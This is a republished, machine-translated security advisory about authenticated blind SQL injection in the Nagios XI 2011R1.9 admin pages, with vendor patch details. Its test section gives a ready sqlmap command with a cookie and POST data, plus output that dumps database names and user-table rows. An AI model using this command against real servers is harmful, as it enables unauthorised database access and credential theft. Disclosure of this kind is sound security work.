Multiple blind SQL Injection Vulnerabilities in Nagios XI Network Monitor

Source: Internet
Author: User
Tags web server operating system

Release date:
Updated on: 2012-4 4

Affected Systems:
Nagios XI Network Monitor 2011R1. 9
Description:
--------------------------------------------------------------------------------
Bugtraq id: 56761

Nagios XI Network Monitor is a server monitoring and Network monitoring device.

Nagios XI Network Monitor 2011R1. 9. Multiple SQL blind injection vulnerabilities exist in the parameters on the Administrator monitoring page of other versions. Remote attackers who pass identity authentication can exploit the vulnerability to operate databases without authorization to obtain important information. The vulnerability parameters are as follows:

/Nagiosql/admin/checkcommands. php (POST parameters: chbActive, selCommandType)
/Nagiosql/admin/servicegroups. php (POST parameters: chbActive, selCommandType)
/Nagiosql/admin/hostgroups. php (POST parameters: chbActive)
/Nagiosql/admin/services. php (POST parameters: chbActive)
/Nagiosql/admin/hosts. php (POST parameters: chbActive, tfCheckIntervalm, tfMaxCheckAttempts, tfRetryInterval)


<* Source: Daniel Compton

Link: http://www.securityfocus.com/archive/1/524873
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Python sqlmap. py -- url http: // 192.168.1.121/nagiosql/admin/checkcommands. php -- cookie "PHPSESSID = login; nagiosxi = nv78nq36n551h3e63ooprpe556" -- data = "tfName=ls&tfCommand=x.txt & selCommandType = 0 & chbActive = 1 & hidActive
= & Modus = insert & hidId = & hidLimit = 0 "-- dbms = mysql-p chbActive -- dbs

[14:55:26] [INFO] the back-end DBMS is MySQL
Web server operating system: Linux CentOS
Web application technology: PHP 5.3.3, Apache 2.2.15
Back-end DBMS: MySQL 5.0
[14:55:26] [INFO] fetching database names
[14:55:26] [INFO] the SQL query used returns 3 entries
[14:55:26] [INFO] retrieved: information_schema
[14:55:26] [INFO] retrieved: nagiosql
[14:55:26] [INFO] retrieved: test
Available databases [3]:
[*] Information_schema
[*] Nagiosql
[*] Test

[14:25:26] [INFO] fetching entries for table 'tbl _ user' on database
'Nagiosql'
[14:25:26] [INFO] the SQL query used returns 2 entries
[14:25:26] [INFO] retrieved: 11111111
[14:25:27] [INFO] retrieved: 1
[14:25:27] [INFO] retrieved: Administrator
[14:25:27] [INFO] retrieved: 1
[14:25:27] [INFO] retrieved: 2012-01-30 12:29:41

[14:25:27] [INFO] retrieved: 2009-10-22 12:53:49
[14:25:27] [INFO] retrieved: 1
[14:25:27] [INFO] retrieved: ccc <CUT> 2f014bb
[14:25:28] [INFO] retrieved: nagiosadmin
[14:25:28] [INFO] retrieved: 0
[14:25:28] [INFO] retrieved: 11111111
[14:25:28] [INFO] retrieved: 1
[14:25:28] [INFO] retrieved: Nagios XI Subsystem Account
[14:25:28] [INFO] retrieved: 4
[14:25:28] [INFO] retrieved: 2012-01-30 13:52:09
[14:25:29] [INFO] retrieved: 2009-10-22 12:55:08
[14:25:29] [INFO] retrieved: 0
[14:25:29] [INFO] retrieved: cccc <CUT> 2f014bb
[14:25:29] [INFO] retrieved: nagiosxi
[14:25:30] [INFO] retrieved: 0

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Nagios
------
The vendor has released a patch to fix this security problem. Please download version 2012 from the vendor's homepage:

Http://labs.nagios.com/2012/04/13/nagios-xi-ccm-full-beta/

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.